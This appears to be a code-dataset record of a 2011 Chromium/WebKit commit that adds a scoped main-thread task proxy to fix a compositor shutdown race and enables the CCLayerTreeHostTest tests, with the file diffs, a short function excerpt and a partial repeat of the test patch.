"blob_url": "https://github.com/chromium/chromium/blob/88c4913f11967abfd08a8b22b4423710322ac49b/third_party/WebKit/Source/WebCore/platform/graphics/chromium/cc/CCMainThread.h", "raw_url": "https://github.com/chromium/chromium/raw/88c4913f11967abfd08a8b22b4423710322ac49b/third_party/WebKit/Source/WebCore/platform/graphics/chromium/cc/CCMainThread.h", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/third_party/WebKit/Source/WebCore/platform/graphics/chromium/cc/CCMainThread.h?ref=88c4913f11967abfd08a8b22b4423710322ac49b", "patch": "@@ -29,7 +29,10 @@\n \n namespace WebCore {\n \n+class CCScopedMainThreadProxy;\n+\n // Task wrapper around WTF::callOnMainThreadThread\n+// To post a Task to run on the main thread, see CCScopedMainThreadProxy.\n class CCMainThread {\n public:\n class Task {\n@@ -44,8 +47,12 @@ class CCMainThread {\n };\n \n static void initialize();\n- static void postTask(PassOwnPtr<Task>); // Executes the task on main thread asynchronously.\n private:\n+ friend class CCScopedMainThreadProxy;\n+ // Executes the task on main thread asynchronously.\n+ // Only visible to CCScopedMainThreadProxy.\n+ static void postTask(PassOwnPtr<Task>);\n+\n static void performTask(void*);\n };\n "}<_**next**_>{"sha": "de41cba0da47fd565d1b23f1b662dc5f9903418a", "filename": "third_party/WebKit/Source/WebCore/platform/graphics/chromium/cc/CCMainThreadTask.h", "status": "modified", "additions": 0, "deletions": 5, "changes": 5, "blob_url": "https://github.com/chromium/chromium/blob/88c4913f11967abfd08a8b22b4423710322ac49b/third_party/WebKit/Source/WebCore/platform/graphics/chromium/cc/CCMainThreadTask.h", "raw_url": "https://github.com/chromium/chromium/raw/88c4913f11967abfd08a8b22b4423710322ac49b/third_party/WebKit/Source/WebCore/platform/graphics/chromium/cc/CCMainThreadTask.h", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/third_party/WebKit/Source/WebCore/platform/graphics/chromium/cc/CCMainThreadTask.h?ref=88c4913f11967abfd08a8b22b4423710322ac49b", "patch": "@@ -240,11 +240,6 @@ class MainThreadTask5 : public CCMainThread::Task {\n P5 m_parameter5;\n };\n \n-template<typename T>\n-PassOwnPtr<CCMainThread::Task> createMainThreadTask(\n- T* const callee,\n- void (T::*method)());\n-\n template<typename T>\n PassOwnPtr<CCMainThread::Task> createMainThreadTask(\n T* const callee,"}<_**next**_>{"sha": "bfdf5fb882650940e710cec47f9678e01e1f97d9", "filename": "third_party/WebKit/Source/WebCore/platform/graphics/chromium/cc/CCScopedMainThreadProxy.h", "status": "added", "additions": 87, "deletions": 0, "changes": 87, "blob_url": "https://github.com/chromium/chromium/blob/88c4913f11967abfd08a8b22b4423710322ac49b/third_party/WebKit/Source/WebCore/platform/graphics/chromium/cc/CCScopedMainThreadProxy.h", "raw_url": "https://github.com/chromium/chromium/raw/88c4913f11967abfd08a8b22b4423710322ac49b/third_party/WebKit/Source/WebCore/platform/graphics/chromium/cc/CCScopedMainThreadProxy.h", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/third_party/WebKit/Source/WebCore/platform/graphics/chromium/cc/CCScopedMainThreadProxy.h?ref=88c4913f11967abfd08a8b22b4423710322ac49b", "patch": "@@ -0,0 +1,87 @@\n+/*\n+ * Copyright (C) 2011 Google Inc. All rights reserved.\n+ *\n+ * Redistribution and use in source and binary forms, with or without\n+ * modification, are permitted provided that the following conditions\n+ * are met:\n+ * 1. Redistributions of source code must retain the above copyright\n+ * notice, this list of conditions and the following disclaimer.\n+ * 2. Redistributions in binary form must reproduce the above copyright\n+ * notice, this list of conditions and the following disclaimer in the\n+ * documentation and/or other materials provided with the distribution.\n+ *\n+ * THIS SOFTWARE IS PROVIDED BY APPLE INC. AND ITS CONTRIBUTORS ``AS IS'' AND ANY\n+ * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED\n+ * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\n+ * DISCLAIMED. IN NO EVENT SHALL APPLE INC. OR ITS CONTRIBUTORS BE LIABLE FOR ANY\n+ * DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES\n+ * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;\n+ * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON\n+ * ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n+ * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS\n+ * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n+ */\n+\n+#ifndef CCScopedMainThreadProxy_h\n+#define CCScopedMainThreadProxy_h\n+\n+#include \"cc/CCMainThreadTask.h\"\n+#include \"cc/CCProxy.h\"\n+#include <wtf/ThreadSafeRefCounted.h>\n+\n+namespace WebCore {\n+\n+// This class is a proxy used to post tasks to the main thread from any other thread. The proxy may be shut down at\n+// any point from the main thread after which no more tasks posted to the proxy will run. In other words, all\n+// tasks posted via a proxy are scoped to the lifecycle of the proxy. Use this when posting tasks to an object that\n+// might die with tasks in flight.\n+//\n+// The proxy must be created and shut down from the main thread, tasks may be posted from any thread.\n+//\n+// Implementation note: Unlike ScopedRunnableMethodFactory in Chromium, pending tasks are not cancelled by actually\n+// destroying the proxy. Instead each pending task holds a reference to the proxy to avoid maintaining an explicit\n+// list of outstanding tasks.\n+class CCScopedMainThreadProxy : public ThreadSafeRefCounted<CCScopedMainThreadProxy> {\n+public:\n+ static PassRefPtr<CCScopedMainThreadProxy> create()\n+ {\n+ ASSERT(CCProxy::isMainThread());\n+ return adoptRef(new CCScopedMainThreadProxy);\n+ }\n+\n+ // Can be called from any thread. Posts a task to the main thread that runs unless\n+ // shutdown() is called before it runs.\n+ void postTask(PassOwnPtr<CCMainThread::Task> task)\n+ {\n+ ref();\n+ CCMainThread::postTask(createMainThreadTask(this, &CCScopedMainThreadProxy::runTaskIfNotShutdown, task));\n+ }\n+\n+ void shutdown()\n+ {\n+ ASSERT(CCProxy::isMainThread());\n+ ASSERT(!m_shutdown);\n+ m_shutdown = true;\n+ }\n+\n+private:\n+ CCScopedMainThreadProxy()\n+ : m_shutdown(false)\n+ {\n+ }\n+\n+ void runTaskIfNotShutdown(PassOwnPtr<CCMainThread::Task> popTask)\n+ {\n+ ASSERT(CCProxy::isMainThread());\n+ OwnPtr<CCMainThread::Task> task = popTask;\n+ if (!m_shutdown)\n+ task->performTask();\n+ deref();\n+ }\n+\n+ bool m_shutdown; // Only accessed on the main thread\n+};\n+\n+}\n+\n+#endif"}<_**next**_>{"sha": "f4305208f5c04515a638305a2660d7e247819c0e", "filename": "third_party/WebKit/Source/WebCore/platform/graphics/chromium/cc/CCThreadProxy.cpp", "status": "modified", "additions": 10, "deletions": 1, "changes": 11, "blob_url": "https://github.com/chromium/chromium/blob/88c4913f11967abfd08a8b22b4423710322ac49b/third_party/WebKit/Source/WebCore/platform/graphics/chromium/cc/CCThreadProxy.cpp", "raw_url": "https://github.com/chromium/chromium/raw/88c4913f11967abfd08a8b22b4423710322ac49b/third_party/WebKit/Source/WebCore/platform/graphics/chromium/cc/CCThreadProxy.cpp", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/third_party/WebKit/Source/WebCore/platform/graphics/chromium/cc/CCThreadProxy.cpp?ref=88c4913f11967abfd08a8b22b4423710322ac49b", "patch": "@@ -32,6 +32,7 @@\n #include \"cc/CCLayerTreeHost.h\"\n #include \"cc/CCMainThreadTask.h\"\n #include \"cc/CCScheduler.h\"\n+#include \"cc/CCScopedMainThreadProxy.h\"\n #include \"cc/CCScrollController.h\"\n #include \"cc/CCThreadTask.h\"\n #include <wtf/CurrentTime.h>\n@@ -61,7 +62,7 @@ class CCThreadProxySchedulerClient : public CCSchedulerClient {\n \n virtual void scheduleBeginFrameAndCommit()\n {\n- CCMainThread::postTask(m_proxy->createBeginFrameAndCommitTaskOnCCThread());\n+ m_proxy->postBeginFrameAndCommitOnCCThread();\n }\n \n virtual void scheduleDrawAndPresent()\n@@ -114,6 +115,7 @@ CCThreadProxy::CCThreadProxy(CCLayerTreeHost* layerTreeHost)\n , m_started(false)\n , m_lastExecutedBeginFrameAndCommitSequenceNumber(-1)\n , m_numBeginFrameAndCommitsIssuedOnCCThread(0)\n+ , m_mainThreadProxy(CCScopedMainThreadProxy::create())\n {\n TRACE_EVENT(\"CCThreadProxy::CCThreadProxy\", this, 0);\n ASSERT(isMainThread());\n@@ -299,6 +301,8 @@ void CCThreadProxy::stop()\n s_ccThread->postTask(createCCThreadTask(this, &CCThreadProxy::layerTreeHostClosedOnCCThread, AllowCrossThreadAccess(&completion)));\n completion.wait();\n \n+ m_mainThreadProxy->shutdown(); // Stop running tasks posted to us.\n+\n ASSERT(!m_layerTreeHostImpl); // verify that the impl deleted.\n m_layerTreeHost = 0;\n m_started = false;\n@@ -317,6 +321,11 @@ void CCThreadProxy::finishAllRenderingOnCCThread(CCCompletionEvent* completion)\n completion->signal();\n }\n \n+void CCThreadProxy::postBeginFrameAndCommitOnCCThread()\n+{\n+ m_mainThreadProxy->postTask(createBeginFrameAndCommitTaskOnCCThread());\n+}\n+\n void CCThreadProxy::obtainBeginFrameAndCommitTaskFromCCThread(CCCompletionEvent* completion, CCMainThread::Task** taskPtr)\n {\n OwnPtr<CCMainThread::Task> task = createBeginFrameAndCommitTaskOnCCThread();"}<_**next**_>{"sha": "0723f6aaa5cf27dac19c21a6c2c1bb1dcc2428fc", "filename": "third_party/WebKit/Source/WebCore/platform/graphics/chromium/cc/CCThreadProxy.h", "status": "modified", "additions": 4, "deletions": 0, "changes": 4, "blob_url": "https://github.com/chromium/chromium/blob/88c4913f11967abfd08a8b22b4423710322ac49b/third_party/WebKit/Source/WebCore/platform/graphics/chromium/cc/CCThreadProxy.h", "raw_url": "https://github.com/chromium/chromium/raw/88c4913f11967abfd08a8b22b4423710322ac49b/third_party/WebKit/Source/WebCore/platform/graphics/chromium/cc/CCThreadProxy.h", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/third_party/WebKit/Source/WebCore/platform/graphics/chromium/cc/CCThreadProxy.h?ref=88c4913f11967abfd08a8b22b4423710322ac49b", "patch": "@@ -36,6 +36,7 @@ namespace WebCore {\n class CCInputHandler;\n class CCLayerTreeHost;\n class CCScheduler;\n+class CCScopedMainThreadProxy;\n class CCThread;\n class CCThreadProxySchedulerClient;\n class CCThreadProxyScrollControllerAdapter;\n@@ -72,6 +73,7 @@ class CCThreadProxy : public CCProxy {\n void beginFrameAndCommit(int sequenceNumber, double frameBeginTime, PassOwnPtr<CCScrollUpdateSet>);\n \n // Called on CCThread\n+ void postBeginFrameAndCommitOnCCThread();\n PassOwnPtr<CCMainThread::Task> createBeginFrameAndCommitTaskOnCCThread();\n void obtainBeginFrameAndCommitTaskFromCCThread(CCCompletionEvent*, CCMainThread::Task**);\n void commitOnCCThread(CCCompletionEvent*);\n@@ -105,6 +107,8 @@ class CCThreadProxy : public CCProxy {\n OwnPtr<CCScheduler> m_schedulerOnCCThread;\n OwnPtr<CCThreadProxySchedulerClient> m_schedulerClientOnCCThread;\n \n+ RefPtr<CCScopedMainThreadProxy> m_mainThreadProxy;\n+\n static CCThread* s_ccThread;\n };\n "}<_**next**_>{"sha": "34d4d0d8a2eca6bcc43002485b8f10b7b8bf7650", "filename": "third_party/WebKit/Source/WebKit/chromium/ChangeLog", "status": "modified", "additions": 25, "deletions": 0, "changes": 25, "blob_url": "https://github.com/chromium/chromium/blob/88c4913f11967abfd08a8b22b4423710322ac49b/third_party/WebKit/Source/WebKit/chromium/ChangeLog", "raw_url": "https://github.com/chromium/chromium/raw/88c4913f11967abfd08a8b22b4423710322ac49b/third_party/WebKit/Source/WebKit/chromium/ChangeLog", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/third_party/WebKit/Source/WebKit/chromium/ChangeLog?ref=88c4913f11967abfd08a8b22b4423710322ac49b", "patch": "@@ -1,3 +1,28 @@\n+2011-10-18 James Robinson <jamesr@chromium.org>\n+\n+ [chromium] Fix shutdown race when posting main thread task to CCThreadProxy and enable tests\n+ https://bugs.webkit.org/show_bug.cgi?id=70161\n+\n+ Reviewed by David Levin.\n+\n+ Enables the CCLayerTreeHostTest* tests by default. Most tests are run twice in a single thread and multiple\n+ thread configuration. Some tests run only in the multiple thread configuration if they depend on the compositor\n+ thread scheduling draws by itself.\n+\n+ * tests/CCLayerTreeHostTest.cpp:\n+ (::CCLayerTreeHostTest::timeout):\n+ (::CCLayerTreeHostTest::clearTimeout):\n+ (::CCLayerTreeHostTest::CCLayerTreeHostTest):\n+ (::CCLayerTreeHostTest::onEndTest):\n+ (::CCLayerTreeHostTest::TimeoutTask::TimeoutTask):\n+ (::CCLayerTreeHostTest::TimeoutTask::clearTest):\n+ (::CCLayerTreeHostTest::TimeoutTask::~TimeoutTask):\n+ (::CCLayerTreeHostTest::TimeoutTask::Run):\n+ (::CCLayerTreeHostTest::runTest):\n+ (::CCLayerTreeHostTest::doBeginTest):\n+ (::CCLayerTreeHostTestThreadOnly::runTest):\n+ (::CCLayerTreeHostTestSetNeedsRedraw::commitCompleteOnCCThread):\n+\n 2011-10-18 Adam Barth <abarth@webkit.org>\n \n Always enable ENABLE(XPATH)"}<_**next**_>{"sha": "0345e49a83939ca66865a5d0aa253ed53018e719", "filename": "third_party/WebKit/Source/WebKit/chromium/tests/CCLayerTreeHostTest.cpp", "status": "modified", "additions": 92, "deletions": 56, "changes": 148, "blob_url": "https://github.com/chromium/chromium/blob/88c4913f11967abfd08a8b22b4423710322ac49b/third_party/WebKit/Source/WebKit/chromium/tests/CCLayerTreeHostTest.cpp", "raw_url": "https://github.com/chromium/chromium/raw/88c4913f11967abfd08a8b22b4423710322ac49b/third_party/WebKit/Source/WebKit/chromium/tests/CCLayerTreeHostTest.cpp", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/third_party/WebKit/Source/WebKit/chromium/tests/CCLayerTreeHostTest.cpp?ref=88c4913f11967abfd08a8b22b4423710322ac49b", "patch": "@@ -24,13 +24,12 @@\n \n #include \"config.h\"\n \n-#if USE(THREADED_COMPOSITING)\n-\n #include \"cc/CCLayerTreeHost.h\"\n \n #include \"cc/CCLayerImpl.h\"\n #include \"cc/CCLayerTreeHostImpl.h\"\n #include \"cc/CCMainThreadTask.h\"\n+#include \"cc/CCScopedMainThreadProxy.h\"\n #include \"cc/CCThreadTask.h\"\n #include \"GraphicsContext3DPrivate.h\"\n #include <gtest/gtest.h>\n@@ -170,9 +169,7 @@ class MockLayerTreeHostClient : public CCLayerTreeHostClient {\n {\n }\n \n-#if !USE(THREADED_COMPOSITING)\n virtual void scheduleComposite() { }\n-#endif\n \n private:\n explicit MockLayerTreeHostClient(TestHooks* testHooks) : m_testHooks(testHooks) { }\n@@ -207,20 +204,31 @@ class CCLayerTreeHostTest : public testing::Test, TestHooks {\n callOnMainThread(CCLayerTreeHostTest::dispatchSetNeedsRedraw, this);\n }\n \n+ void timeout()\n+ {\n+ m_timedOut = true;\n+ endTest();\n+ }\n+\n+ void clearTimeout()\n+ {\n+ m_timeoutTask = 0;\n+ }\n+\n+\n protected:\n CCLayerTreeHostTest()\n : m_beginning(false)\n , m_endWhenBeginReturns(false)\n- , m_running(false)\n , m_timedOut(false)\n {\n m_webThread = adoptPtr(webKitPlatformSupport()->createThread(\"CCLayerTreeHostTest\"));\n WebCompositor::setThread(m_webThread.get());\n-#if USE(THREADED_COMPOSITING)\n- m_settings.enableCompositorThread = true;\n-#else\n- m_settings.enableCompositorThread = false;\n+#ifndef NDEBUG\n+ CCProxy::setMainThread(currentThread());\n #endif\n+ ASSERT(CCProxy::isMainThread());\n+ m_mainThreadProxy = CCScopedMainThreadProxy::create();\n }\n \n void doBeginTest();\n@@ -234,6 +242,7 @@ class CCLayerTreeHostTest : public testing::Test, TestHooks {\n {\n ASSERT(isMainThread());\n webkit_support::QuitMessageLoop();\n+ webkit_support::RunAllPendingMessages();\n CCLayerTreeHostTest* test = static_cast<CCLayerTreeHostTest*>(self);\n ASSERT(test);\n test->m_layerTreeHost.clear();\n@@ -257,50 +266,72 @@ class CCLayerTreeHostTest : public testing::Test, TestHooks {\n test->m_layerTreeHost->setNeedsRedraw();\n }\n \n- virtual void runTest()\n+ class TimeoutTask : public webkit_support::TaskAdaptor {\n+ public:\n+ explicit TimeoutTask(CCLayerTreeHostTest* test)\n+ : m_test(test)\n+ {\n+ }\n+\n+ void clearTest()\n+ {\n+ m_test = 0;\n+ }\n+\n+ virtual ~TimeoutTask()\n+ {\n+ if (m_test)\n+ m_test->clearTimeout();\n+ }\n+\n+ virtual void Run()\n+ {\n+ if (m_test)\n+ m_test->timeout();\n+ }\n+\n+ private:\n+ CCLayerTreeHostTest* m_test;\n+ };\n+\n+ virtual void runTest(bool threaded)\n {\n+ m_settings.enableCompositorThread = threaded;\n webkit_support::PostDelayedTask(CCLayerTreeHostTest::onBeginTest, static_cast<void*>(this), 0);\n- webkit_support::PostDelayedTask(CCLayerTreeHostTest::testTimeout, static_cast<void*>(this), 5000);\n+ m_timeoutTask = new TimeoutTask(this);\n+ webkit_support::PostDelayedTask(m_timeoutTask, 5000); // webkit_support takes ownership of the task\n webkit_support::RunMessageLoop();\n- m_running = false;\n- bool timedOut = m_timedOut; // Save whether we're timed out in case RunAllPendingMessages has the timeout.\n webkit_support::RunAllPendingMessages();\n+\n+ if (m_timeoutTask)\n+ m_timeoutTask->clearTest();\n+\n ASSERT(!m_layerTreeHost.get());\n m_client.clear();\n- if (timedOut) {\n+ if (m_timedOut) {\n FAIL() << \"Test timed out\";\n return;\n }\n afterTest();\n }\n \n- static void testTimeout(void* self)\n- {\n- CCLayerTreeHostTest* test = static_cast<CCLayerTreeHostTest*>(self);\n- if (!test->m_running)\n- return;\n- test->m_timedOut = true;\n- test->endTest();\n- }\n-\n CCSettings m_settings;\n OwnPtr<MockLayerTreeHostClient> m_client;\n RefPtr<CCLayerTreeHost> m_layerTreeHost;\n \n private:\n bool m_beginning;\n bool m_endWhenBeginReturns;\n- bool m_running;\n bool m_timedOut;\n \n OwnPtr<WebThread> m_webThread;\n+ RefPtr<CCScopedMainThreadProxy> m_mainThreadProxy;\n+ TimeoutTask* m_timeoutTask;\n };\n \n void CCLayerTreeHostTest::doBeginTest()\n {\n ASSERT(isMainThread());\n- ASSERT(!m_running);\n- m_running = true;\n m_client = MockLayerTreeHostClient::create(this);\n \n RefPtr<LayerChromium> rootLayer = LayerChromium::create(0);\n@@ -318,7 +349,7 @@ void CCLayerTreeHostTest::endTest()\n {\n // If we are called from the CCThread, re-call endTest on the main thread.\n if (!isMainThread())\n- CCMainThread::postTask(createMainThreadTask(this, &CCLayerTreeHostTest::endTest));\n+ m_mainThreadProxy->postTask(createMainThreadTask(this, &CCLayerTreeHostTest::endTest));\n else {\n // For the case where we endTest during beginTest(), set a flag to indicate that\n // the test should end the second beginTest regains control.\n@@ -331,10 +362,9 @@ void CCLayerTreeHostTest::endTest()\n \n class CCLayerTreeHostTestThreadOnly : public CCLayerTreeHostTest {\n public:\n- virtual void runTest()\n+ void runTest()\n {\n- if (m_settings.enableCompositorThread)\n- CCLayerTreeHostTest::runTest();\n+ CCLayerTreeHostTest::runTest(true);\n }\n };\n \n@@ -352,10 +382,18 @@ class CCLayerTreeHostTestShortlived1 : public CCLayerTreeHostTest {\n {\n }\n };\n-TEST_F(CCLayerTreeHostTestShortlived1, run)\n-{\n- runTest();\n-}\n+\n+#define SINGLE_AND_MULTI_THREAD_TEST_F(TEST_FIXTURE_NAME) \\\n+ TEST_F(TEST_FIXTURE_NAME, runSingleThread) \\\n+ { \\\n+ runTest(false); \\\n+ } \\\n+ TEST_F(TEST_FIXTURE_NAME, runMultiThread) \\\n+ { \\\n+ runTest(true); \\\n+ }\n+\n+SINGLE_AND_MULTI_THREAD_TEST_F(CCLayerTreeHostTestShortlived1)\n \n // Shortlived layerTreeHosts shouldn't die with a commit in flight.\n class CCLayerTreeHostTestShortlived2 : public CCLayerTreeHostTest {\n@@ -372,10 +410,8 @@ class CCLayerTreeHostTestShortlived2 : public CCLayerTreeHostTest {\n {\n }\n };\n-TEST_F(CCLayerTreeHostTestShortlived2, run)\n-{\n- runTest();\n-}\n+\n+SINGLE_AND_MULTI_THREAD_TEST_F(CCLayerTreeHostTestShortlived2)\n \n // Shortlived layerTreeHosts shouldn't die with a redraw in flight.\n class CCLayerTreeHostTestShortlived3 : public CCLayerTreeHostTest {\n@@ -392,10 +428,8 @@ class CCLayerTreeHostTestShortlived3 : public CCLayerTreeHostTest {\n {\n }\n };\n-TEST_F(CCLayerTreeHostTestShortlived3, run)\n-{\n- runTest();\n-}\n+\n+SINGLE_AND_MULTI_THREAD_TEST_F(CCLayerTreeHostTestShortlived3)\n \n // Constantly redrawing layerTreeHosts shouldn't die when they commit\n class CCLayerTreeHostTestCommitingWithContinuousRedraw : public CCLayerTreeHostTest {\n@@ -435,14 +469,12 @@ class CCLayerTreeHostTestCommitingWithContinuousRedraw : public CCLayerTreeHostT\n int m_numCompleteCommits;\n int m_numDraws;\n };\n-TEST_F(CCLayerTreeHostTestCommitingWithContinuousRedraw, run)\n-{\n- runTest();\n-}\n+\n+SINGLE_AND_MULTI_THREAD_TEST_F(CCLayerTreeHostTestCommitingWithContinuousRedraw)\n \n // Two setNeedsCommits in a row should lead to at least 1 commit and at least 1\n // draw with frame 0.\n-class CCLayerTreeHostTestSetNeedsCommit1 : public CCLayerTreeHostTest {\n+class CCLayerTreeHostTestSetNeedsCommit1 : public CCLayerTreeHostTestThreadOnly {\n public:\n CCLayerTreeHostTestSetNeedsCommit1()\n : m_numCommits(0)\n@@ -478,14 +510,15 @@ class CCLayerTreeHostTestSetNeedsCommit1 : public CCLayerTreeHostTest {\n int m_numCommits;\n int m_numDraws;\n };\n-TEST_F(CCLayerTreeHostTestSetNeedsCommit1, run)\n+\n+TEST_F(CCLayerTreeHostTestSetNeedsCommit1, runMultiThread)\n {\n runTest();\n }\n \n // A setNeedsCommit should lead to 1 commit. Issuing a second commit after that\n // first committed frame draws should lead to another commit.\n-class CCLayerTreeHostTestSetNeedsCommit2 : public CCLayerTreeHostTest {\n+class CCLayerTreeHostTestSetNeedsCommit2 : public CCLayerTreeHostTestThreadOnly {\n public:\n CCLayerTreeHostTestSetNeedsCommit2()\n : m_numCommits(0)\n@@ -521,14 +554,15 @@ class CCLayerTreeHostTestSetNeedsCommit2 : public CCLayerTreeHostTest {\n int m_numCommits;\n int m_numDraws;\n };\n-TEST_F(CCLayerTreeHostTestSetNeedsCommit2, run)\n+\n+TEST_F(CCLayerTreeHostTestSetNeedsCommit2, runMultiThread)\n {\n runTest();\n }\n \n // 1 setNeedsRedraw after the first commit has completed should lead to 1\n // additional draw.\n-class CCLayerTreeHostTestSetNeedsRedraw : public CCLayerTreeHostTest {\n+class CCLayerTreeHostTestSetNeedsRedraw : public CCLayerTreeHostTestThreadOnly {\n public:\n CCLayerTreeHostTestSetNeedsRedraw()\n : m_numCommits(0)\n@@ -553,6 +587,7 @@ class CCLayerTreeHostTestSetNeedsRedraw : public CCLayerTreeHostTest {\n \n virtual void commitCompleteOnCCThread(CCLayerTreeHostImpl*)\n {\n+ EXPECT_EQ(0, m_numDraws);\n m_numCommits++;\n }\n \n@@ -566,9 +601,9 @@ class CCLayerTreeHostTestSetNeedsRedraw : public CCLayerTreeHostTest {\n int m_numCommits;\n int m_numDraws;\n };\n-TEST_F(CCLayerTreeHostTestSetNeedsRedraw, run)\n+\n+TEST_F(CCLayerTreeHostTestSetNeedsRedraw, runMultiThread)\n {\n- CCSettings setings;\n runTest();\n }\n \n@@ -637,7 +672,8 @@ class CCLayerTreeHostTestScrollSimple : public CCLayerTreeHostTestThreadOnly {\n IntSize m_scrollAmount;\n int m_scrolls;\n };\n-TEST_F(CCLayerTreeHostTestScrollSimple, run)\n+\n+TEST_F(CCLayerTreeHostTestScrollSimple, runMultiThread)\n {\n runTest();\n }\n@@ -710,11 +746,11 @@ class CCLayerTreeHostTestScrollMultipleRedraw : public CCLayerTreeHostTestThread\n IntSize m_scrollAmount;\n int m_scrolls;\n };\n-TEST_F(CCLayerTreeHostTestScrollMultipleRedraw, run)\n+\n+TEST_F(CCLayerTreeHostTestScrollMultipleRedraw, runMultiThread)\n {\n runTest();\n }\n \n } // namespace\n \n-#endif"}<_**next**_>{"sha": "d3dbcdef6ac3a2786c710506757fd3ab9e52c01c", "filename": "third_party/WebKit/Source/WebKit/chromium/tests/CCThreadTest.cpp", "status": "modified", "additions": 10, "deletions": 1, "changes": 11, "blob_url": "https://github.com/chromium/chromium/blob/88c4913f11967abfd08a8b22b4423710322ac49b/third_party/WebKit/Source/WebKit/chromium/tests/CCThreadTest.cpp", "raw_url": "https://github.com/chromium/chromium/raw/88c4913f11967abfd08a8b22b4423710322ac49b/third_party/WebKit/Source/WebKit/chromium/tests/CCThreadTest.cpp", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/third_party/WebKit/Source/WebKit/chromium/tests/CCThreadTest.cpp?ref=88c4913f11967abfd08a8b22b4423710322ac49b", "patch": "@@ -32,6 +32,7 @@\n #include \"WebThread.h\"\n #include \"cc/CCCompletionEvent.h\"\n #include \"cc/CCMainThreadTask.h\"\n+#include \"cc/CCScopedMainThreadProxy.h\"\n #include \"cc/CCThreadTask.h\"\n \n #include <gtest/gtest.h>\n@@ -71,9 +72,14 @@ TEST(CCThreadTest, pingPongUsingCondition)\n \n class PingPongTestUsingTasks {\n public:\n+ PingPongTestUsingTasks()\n+ : m_mainThreadProxy(CCScopedMainThreadProxy::create())\n+ {\n+ }\n+\n void ping()\n {\n- CCMainThread::postTask(createMainThreadTask(this, &PingPongTestUsingTasks::pong));\n+ m_mainThreadProxy->postTask(createMainThreadTask(this, &PingPongTestUsingTasks::pong));\n hit = true;\n }\n \n@@ -84,6 +90,9 @@ class PingPongTestUsingTasks {\n }\n \n bool hit;\n+\n+private:\n+ RefPtr<CCScopedMainThreadProxy> m_mainThreadProxy;\n };\n \n #if OS(WINDOWS) || OS(MAC_OS_X)"}
|
virtual void commitComplete()
{
CCLayerTreeHostImpl::commitComplete();
m_testHooks->commitCompleteOnCCThread(this);
}
|
virtual void commitComplete()
{
CCLayerTreeHostImpl::commitComplete();
m_testHooks->commitCompleteOnCCThread(this);
}
|
C
| null | null | null |
@@ -24,13 +24,12 @@
#include "config.h"
-#if USE(THREADED_COMPOSITING)
-
#include "cc/CCLayerTreeHost.h"
#include "cc/CCLayerImpl.h"
#include "cc/CCLayerTreeHostImpl.h"
#include "cc/CCMainThreadTask.h"
+#include "cc/CCScopedMainThreadProxy.h"
#include "cc/CCThreadTask.h"
#include "GraphicsContext3DPrivate.h"
#include <gtest/gtest.h>
@@ -170,9 +169,7 @@ class MockLayerTreeHostClient : public CCLayerTreeHostClient {
{
}
-#if !USE(THREADED_COMPOSITING)
virtual void scheduleComposite() { }
-#endif
private:
explicit MockLayerTreeHostClient(TestHooks* testHooks) : m_testHooks(testHooks) { }
@@ -207,20 +204,31 @@ class CCLayerTreeHostTest : public testing::Test, TestHooks {
callOnMainThread(CCLayerTreeHostTest::dispatchSetNeedsRedraw, this);
}
+ void timeout()
+ {
+ m_timedOut = true;
+ endTest();
+ }
+
+ void clearTimeout()
+ {
+ m_timeoutTask = 0;
+ }
+
+
protected:
CCLayerTreeHostTest()
: m_beginning(false)
, m_endWhenBeginReturns(false)
- , m_running(false)
, m_timedOut(false)
{
m_webThread = adoptPtr(webKitPlatformSupport()->createThread("CCLayerTreeHostTest"));
WebCompositor::setThread(m_webThread.get());
-#if USE(THREADED_COMPOSITING)
- m_settings.enableCompositorThread = true;
-#else
- m_settings.enableCompositorThread = false;
+#ifndef NDEBUG
+ CCProxy::setMainThread(currentThread());
#endif
+ ASSERT(CCProxy::isMainThread());
+ m_mainThreadProxy = CCScopedMainThreadProxy::create();
}
void doBeginTest();
@@ -234,6 +242,7 @@ class CCLayerTreeHostTest : public testing::Test, TestHooks {
{
ASSERT(isMainThread());
webkit_support::QuitMessageLoop();
+ webkit_support::RunAllPendingMessages();
CCLayerTreeHostTest* test = static_cast<CCLayerTreeHostTest*>(self);
ASSERT(test);
test->m_layerTreeHost.clear();
@@ -257,50 +266,72 @@ class CCLayerTreeHostTest : public testing::Test, TestHooks {
test->m_layerTreeHost->setNeedsRedraw();
}
- virtual void runTest()
+ class TimeoutTask : public webkit_support::TaskAdaptor {
+ public:
+ explicit TimeoutTask(CCLayerTreeHostTest* test)
+ : m_test(test)
+ {
+ }
+
+ void clearTest()
+ {
+ m_test = 0;
+ }
+
+ virtual ~TimeoutTask()
+ {
+ if (m_test)
+ m_test->clearTimeout();
+ }
+
+ virtual void Run()
+ {
+ if (m_test)
+ m_test->timeout();
+ }
+
+ private:
+ CCLayerTreeHostTest* m_test;
+ };
+
+ virtual void runTest(bool threaded)
{
+ m_settings.enableCompositorThread = threaded;
webkit_support::PostDelayedTask(CCLayerTreeHostTest::onBeginTest, static_cast<void*>(this), 0);
- webkit_support::PostDelayedTask(CCLayerTreeHostTest::testTimeout, static_cast<void*>(this), 5000);
+ m_timeoutTask = new TimeoutTask(this);
+ webkit_support::PostDelayedTask(m_timeoutTask, 5000); // webkit_support takes ownership of the task
webkit_support::RunMessageLoop();
- m_running = false;
- bool timedOut = m_timedOut; // Save whether we're timed out in case RunAllPendingMessages has the timeout.
webkit_support::RunAllPendingMessages();
+
+ if (m_timeoutTask)
+ m_timeoutTask->clearTest();
+
ASSERT(!m_layerTreeHost.get());
m_client.clear();
